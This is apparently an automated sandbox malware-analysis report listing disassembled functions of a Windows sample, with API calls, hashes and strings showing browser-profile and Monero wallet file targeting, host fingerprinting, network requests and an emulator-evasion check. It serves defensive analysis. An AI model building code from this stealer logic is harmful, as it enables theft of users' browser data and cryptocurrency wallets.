Instruction Fuzzy Hash: 4A014FB0940308AAEB10EFD4CC49FADB7B8AB05701F248499E705BA281D67455458799

Function 00BD6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,013C8F18,?,00BE110C,?,00000000,?,00BE1110,?,00000000,00BE0AEF), ref: 00BD6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00BD6AE8
CloseHandle.KERNEL32(00000000), ref: 00BD6AF9
Sleep.KERNEL32(00001770), ref: 00BD6B04
CloseHandle.KERNEL32(?,00000000,?,013C8F18,?,00BE110C,?,00000000,?,00BE1110,?,00000000,00BE0AEF), ref: 00BD6B1A
ExitProcess.KERNEL32 ref: 00BD6B22

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 6c5f86b30a82e76cc8359ad0d931f94a97c0be1aab24bc5cb8bddd322e01b784
Instruction ID: 3e9cae4096ed91729a99bdd7a214aff9d2df0b223d334994e4788e689bd18a75
Opcode Fuzzy Hash: 6c5f86b30a82e76cc8359ad0d931f94a97c0be1aab24bc5cb8bddd322e01b784
Instruction Fuzzy Hash: 0EF05E3094031DAFEB10ABA0DC4ABBDFBB4EB04701F1485A7F502B12C1FBB15584D666

Function 00BC47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00BC4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00BC4849

Strings

<, xrefs: 00BC47C9

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 11b9ed65820bc1b8ff95fb03bd1ca6311a4b3f795c92fd61542477401d6e7072
Instruction ID: 4007ab9d7b36ad027c293f8d2fe341dd1c98c3f3b6077033ff76fcefb1c1b953
Opcode Fuzzy Hash: 11b9ed65820bc1b8ff95fb03bd1ca6311a4b3f795c92fd61542477401d6e7072
Instruction Fuzzy Hash: 15213EB1D00209ABDF14DFA4E845ADEBB75FB45320F148626F919B7281EB706A09CB81

Function 00BD51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BDA7E6

Part of subcall function 00BC6280: InternetOpenA.WININET(00BE0DFE,00000001,00000000,00000000,00000000), ref: 00BC62E1
Part of subcall function 00BC6280: StrCmpCA.SHLWAPI(?,013CEA08), ref: 00BC6303
Part of subcall function 00BC6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00BC6335
Part of subcall function 00BC6280: HttpOpenRequestA.WININET(00000000,GET,?,013CDFD8,00000000,00000000,00400100,00000000), ref: 00BC6385
Part of subcall function 00BC6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00BC63BF
Part of subcall function 00BC6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00BC63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00BD5228

Strings

ERROR, xrefs: 00BD5273
ERROR, xrefs: 00BD521A

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 34d881ca648f76b85ecacf2dd8798ef38151e29e6ab1434698f25b40448d6000
Instruction ID: bf1f397b3ebe5fac10014336a49afc88a082dea2c68acd287c3f66cc8b2f08a8
Opcode Fuzzy Hash: 34d881ca648f76b85ecacf2dd8798ef38151e29e6ab1434698f25b40448d6000
Instruction Fuzzy Hash: ED110030910148ABCB14FF64DD92EEDB3B8AF50300F9045E9F81A5A692FF71AB09D695

Function 00BC1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00BC112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00BC1132
ExitProcess.KERNEL32 ref: 00BC1143

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: cad329dd4d218c8fc5cce0e71df3ffe7aa4ee5500b541b1750e2f80be8766fa3
Instruction ID: 221d1bdbd6de6f9f22af6cde873b392cb4a76c78ba3981bef72262b1791d1e71
Opcode Fuzzy Hash: cad329dd4d218c8fc5cce0e71df3ffe7aa4ee5500b541b1750e2f80be8766fa3
Instruction Fuzzy Hash: 7CE08670A4530CFFE7106BA59C0EF0876B8EB04B01F144094F708761C1C6B526449699

Function 00BC10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00BC10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00BC10F7

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 2db1cb8e4ce9123687c29130bcbeb610f7ba281332e25d94372e4b454098edf4
Instruction ID: f19a4c03489d97793556bb994a1307da4e7d1d786e922e0e3a3ba8c148d57e81
Opcode Fuzzy Hash: 2db1cb8e4ce9123687c29130bcbeb610f7ba281332e25d94372e4b454098edf4
Instruction Fuzzy Hash: 69F05271640308BBE7049AA8AC59FAAB3E8E305B11F301888F500F3280D5329E40CAA1

Function 00BC1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00BD78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BD7910
Part of subcall function 00BD78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00BD7917
Part of subcall function 00BD78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00BD792F

Part of subcall function 00BD7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00BC11B7), ref: 00BD7880
Part of subcall function 00BD7850: RtlAllocateHeap.NTDLL(00000000), ref: 00BD7887
Part of subcall function 00BD7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00BD789F

ExitProcess.KERNEL32 ref: 00BC11C6

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 8b81f11bdd134a86806c2f7160ab577535806496608ade734376b4a1a0c65519
Instruction ID: 04f2f5291b7fbfdab81eea049d1c8fc9455b43578557fa3229cb32ffb4cd223b
Opcode Fuzzy Hash: 8b81f11bdd134a86806c2f7160ab577535806496608ade734376b4a1a0c65519
Instruction Fuzzy Hash: CBE0ECA595430556CA0073BAAC0AB2A76DC9B1534AF0C08AAFA05B2243FE2BE8448566

Non-executed Functions

Function 00BD38B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00BD38CC
FindFirstFileA.KERNEL32(?,?), ref: 00BD38E3
lstrcat.KERNEL32(?,?), ref: 00BD3935
StrCmpCA.SHLWAPI(?,00BE0F70), ref: 00BD3947
StrCmpCA.SHLWAPI(?,00BE0F74), ref: 00BD395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00BD3C67
FindClose.KERNEL32(000000FF), ref: 00BD3C7C

Strings

%s%s, xrefs: 00BD3AAD
%s\%s\%s, xrefs: 00BD3A4A
%s\*, xrefs: 00BD38C0
%s\%s, xrefs: 00BD397A
%s\%s, xrefs: 00BD3A6F

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: b5389fb86154d012d5e60e35aa188a9f7aba73547bcf438cf011e3953d147f08
Instruction ID: e53de401e3259d7a43e6a5d29770402c565776a59ebddaff84e73be42a9d36db
Opcode Fuzzy Hash: b5389fb86154d012d5e60e35aa188a9f7aba73547bcf438cf011e3953d147f08
Instruction Fuzzy Hash: D8A12171A103189FDB24EB65DC85FEE73B8FB44700F0845D9A509A6141EB759B88CFA2

Function 00BCBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BDA740: lstrcpy.KERNEL32(00BE0E17,00000000), ref: 00BDA788

Part of subcall function 00BDA920: lstrcpy.KERNEL32(00000000,?), ref: 00BDA972
Part of subcall function 00BDA920: lstrcat.KERNEL32(00000000), ref: 00BDA982

Part of subcall function 00BDA9B0: lstrlen.KERNEL32(?,013C9238,?,\Monero\wallet.keys,00BE0E17), ref: 00BDA9C5
Part of subcall function 00BDA9B0: lstrcpy.KERNEL32(00000000), ref: 00BDAA04
Part of subcall function 00BDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BDAA12

Part of subcall function 00BDA8A0: lstrcpy.KERNEL32(?,00BE0E17), ref: 00BDA905

FindFirstFileA.KERNEL32(00000000,?,00BE0B32,00BE0B2B,00000000,?,?,?,00BE13F4,00BE0B2A), ref: 00BCBEF5
StrCmpCA.SHLWAPI(?,00BE13F8), ref: 00BCBF4D
StrCmpCA.SHLWAPI(?,00BE13FC), ref: 00BCBF63
FindNextFileA.KERNEL32(000000FF,?), ref: 00BCC7BF
FindClose.KERNEL32(000000FF), ref: 00BCC7D1

Strings

\Brave\Preferences, xrefs: 00BCC1DB
Brave, xrefs: 00BCC102
Google Chrome, xrefs: 00BCC634
Preferences, xrefs: 00BCC11E

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 42b117eda1e5ac73de6afdcd759664883b1a220039a5b63c83e06f0b3e4fa1a1
Instruction ID: 8c7fffa5c474cd22252f7acb3b251188debee5007af8462f720c75ec8ef63ae5
Opcode Fuzzy Hash: 42b117eda1e5ac73de6afdcd759664883b1a220039a5b63c83e06f0b3e4fa1a1
Instruction Fuzzy Hash: F44243729101089BCB14FB70DC96EEDB3BCAB54300F4045E9F90AA6291FE359F49CB96

Function 00BD4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00BD492C
FindFirstFileA.KERNEL32(?,?), ref: 00BD4943
StrCmpCA.SHLWAPI(?,00BE0FDC), ref: 00BD4971
StrCmpCA.SHLWAPI(?,00BE0FE0), ref: 00BD4987
FindNextFileA.KERNEL32(000000FF,?), ref: 00BD4B7D
FindClose.KERNEL32(000000FF), ref: 00BD4B92

Strings

%s\%s, xrefs: 00BD49FB
%s\%s, xrefs: 00BD49A4
%s\*, xrefs: 00BD4920

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: e4f54af50c9d9357a074d626f89c35ac5805bcc69167709a393652a57e4d1b75
Instruction ID: fbbf502be47c641775942f46d4c942665005651155169f2574432d67f75637e0
Opcode Fuzzy Hash: e4f54af50c9d9357a074d626f89c35ac5805bcc69167709a393652a57e4d1b75
Instruction Fuzzy Hash: 996144B1510218AFCB24EBA1DC49FEA73BCFB58700F0485D9B509A6141EB75DB89CFA1

Function 00BD4570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00BD4580
RtlAllocateHeap.NTDLL(00000000), ref: 00BD4587
wsprintfA.USER32 ref: 00BD45A6
FindFirstFileA.KERNEL32(?,?), ref: 00BD45BD
StrCmpCA.SHLWAPI(?,00BE0FC4), ref: 00BD45EB
StrCmpCA.SHLWAPI(?,00BE0FC8), ref: 00BD4601
FindNextFileA.KERNEL32(000000FF,?), ref: 00BD468B
FindClose.KERNEL32(000000FF), ref: 00BD46A0
lstrcat.KERNEL32(?,013CE9A8), ref: 00BD46C5
lstrcat.KERNEL32(?,013CD760), ref: 00BD46D8
lstrlen.KERNEL32(?), ref: 00BD46E5
lstrlen.KERNEL32(?), ref: 00BD46F6

Strings

%s\*, xrefs: 00BD459A
%s\%s, xrefs: 00BD461B

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 7d328a28b13d0fad1feec0d074913b5bfc18aaab360e891c30d42ad9ac86b7f0
Instruction ID: dac94d5308f87b5af8db3a7396accfb29b8a28cfb4d6bc5d87e904d199f1ea4b
Opcode Fuzzy Hash: 7d328a28b13d0fad1feec0d074913b5bfc18aaab360e891c30d42ad9ac86b7f0
Instruction Fuzzy Hash: CB5143B555021C9FC724EB70DC89FEDB3BCAB54300F4445D9B609A2150EB75DAC88FA1

Function 00BD3EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

